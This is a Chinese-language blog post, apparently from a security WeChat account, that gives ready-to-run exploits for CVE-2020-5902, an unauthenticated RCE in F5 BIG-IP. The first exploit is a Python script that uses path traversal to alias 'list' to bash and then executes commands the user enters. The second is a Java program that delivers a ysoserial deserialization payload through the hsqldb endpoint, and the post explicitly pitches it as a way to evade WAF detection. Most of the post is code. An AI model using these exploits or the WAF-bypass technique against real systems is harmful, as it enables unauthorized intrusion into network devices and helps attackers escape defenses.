cve-2020-5902 RCE的payload以及绕过方式

通过bash执行命令的 payload

通过alias = bash去绕过无法执行shell的限制。payload如下

#coding:utf-8
import requests
import json
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import uuid
import sys

# tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# fileSave.jsp?fileName=/tmp/cmd&content=id
# tmshCmd.jsp?command=list+/tmp/cmd
# tmshCmd.jsp?command=delete+cli+alias+private+list

banner = r'''
 _______  _______    ______  _________ _______   _________ _______    _______  _______  _______
(  ____ (  ____   (  ___  __   __/(  ____   __   __/(  ____ )  (  ____ )(  ____ (  ____ 
| (    /| (    /  | (   ) )   ) (   | (    /     ) (   | (    )|  | (    )|| (    /| (    /
| (__    | (____    | (__/ /    | |   | |           | |   | (____)|  | (____)|| |      | (__
|  __)   (_____    |  __ (     | |   | | ____      | |   |  _____)  |     __)| |      |  __)
| (            ) )  | (       | |   | | _  )     | |   | (        | ( (   | |      | (
| )      /____) )  | )___) )___) (___| (___) |  ___) (___| )        | )  __| (____/| (____/
|/       ______/   |/ ___/ _______/(_______)  _______/|/         |/   __/(_______/(_______/
                                                                                                
                        CVE-2020-5902 UnAuth RCE Vuln
                            Python By Jas502n
From: https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
____________________________________________________________________________________________________________________________________________________
'''

def tmshCmd_exit(url,file,cmd):
    tmshCmd_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(tmshCmd_url,verify=False,allow_redirects=False)
    # r = requests.get(tmshCmd_url,verify=False,allow_redirects=False,proxies=proxies)

    response_str = json.dumps(r.headers.__dict__['_store'])
    # print type(response_str)
    # print response_str
    if r.status_code == 200 and 'tmui' in response_str:
        # print tmshCmd_url
        print "[+] tmshCmd.jsp Exit!"
        print "[+] create cli alias private list command bash n"
        # cmd = 'whoami'
        upload_exit(url,file,cmd)


    else:
        print "[+] tmshCmd.jsp No Exit!n"

def upload_exit(url,file,cmd):
    fileSave_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content="%file + cmd
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(fileSave_url,verify=False,allow_redirects=False)
    # r = requests.get(fileSave_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'tmui' in response_str:
        # print fileSave_url
        print "[+] fileSave.jsp Exit!n"
        list_command(url,file)
    else:
        print "[+] fileSave.jsp No Exit!n"

def list_command(url,file):
    rce_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/%s" % file
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(rce_url,verify=False,allow_redirects=False)
    # r = requests.get(rce_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    # print len(r.content)
    if r.status_code == 200 and 'tmui' in response_str:
        if len(r.content) > 33:
            # print rce_url
            print "[+] Command Successfull !n"
            command_result = json.loads(r.content)
            print "_"*90,'nn'
            print command_result['output']
            print "_"*90,"nn"
            delete_list(url)
    else:
        print "[+] Command Failed !n"

def delete_list(url):
    delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(delete_url,verify=False,allow_redirects=False)
    # r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'tmui' in response_str:
        # print delete_url
        print "[+] delete cli alias private list Successfull! n"
    else:
        print "[+] delete cli alias private list Failed! n"


if __name__ == '__main__':
    print banner
    while 1:
        url = "https://x.x.x.x/"
        # url = sys.argv[1]
        file = str(uuid.uuid1())
        print "/tmp/" + file,"n"
        cmd = raw_input("[+]Set Cmd= ")
        print
        tmshCmd_exit(url,file,cmd)

通过java反序列化绕过waf的payload

上一种payload特征明显，很容易被waf等设备拦截。在这里我们可以使用java反序列化配合cve 2020-5902去执行命令。做到隐藏特征以绕过waf。

代码如下

/*
 Exploit Title: F5 BIG-IP Remote Code Execution
 Date: 2020-07-06
 Authors: Charles Dardaman of Critical Start, TeamARES
                  Rich Mirch of Critical Start, TeamARES
 CVE: CVE-2020-5902
 Requirements:
   Java JDK
   hsqldb.jar 1.8
   ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
*/

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import org.hsqldb.lib.StringConverter;

public class f5RCE {

	public static void main(String[] args) {
		Connection connection;
		Statement statement;

		if(args.length != 2) {
			System.err.println("nUsage: <hostname> <payload.txt>n");
			System.exit(1);
		}
		String server = args[0];
		String pfile = args[1];
		String payload = null;

		try {
			payload = new String(Files.readAllBytes(Paths.get(pfile)));
			payload = payload.replaceAll("(\n|\r)","");
		} catch (IOException e) {
			e.printStackTrace();
		}

		String dburl = "jdbc:hsqldb:https://" + server +
                               ":443/tmui/login.jsp/..%3b/hsqldb/";

		System.out.println("Connecting to " + server);
		try {
			Class.forName("org.hsqldb.jdbcDriver");
			connection = DriverManager.getConnection(dburl, "sa","");
			statement = connection.createStatement();
			statement.execute("call "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true')");
			statement.execute("call "org.hsqldb.util.ScriptTool.main"('" + payload +"');");
		} catch (java.sql.SQLException sqle) {
			// ignore java.sql.SQLException: S1000
			// General error java.lang.IllegalArgumentException: argument type mismatch
			if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) {
				System.out.println("Payload executed");
			} else {
				System.out.println("Unexpected SQL error");
				sqle.printStackTrace();
			}
			return;
		}
		catch (ClassNotFoundException cne) {
			System.err.println("Error loading db driver");
			cne.printStackTrace();
			return;
		}
	}
}

参考

1. https://github.com/jas502n/CVE-2020-5902/blob/master/CVE-2020-5902.py

2. https://github.com/Critical-Start/Team-Ares/blob/master/CVE-2020-5902/f5RCE.java

本文始发于微信公众号（宽字节安全）：cve-2020-5902 RCE的payload以及绕过方式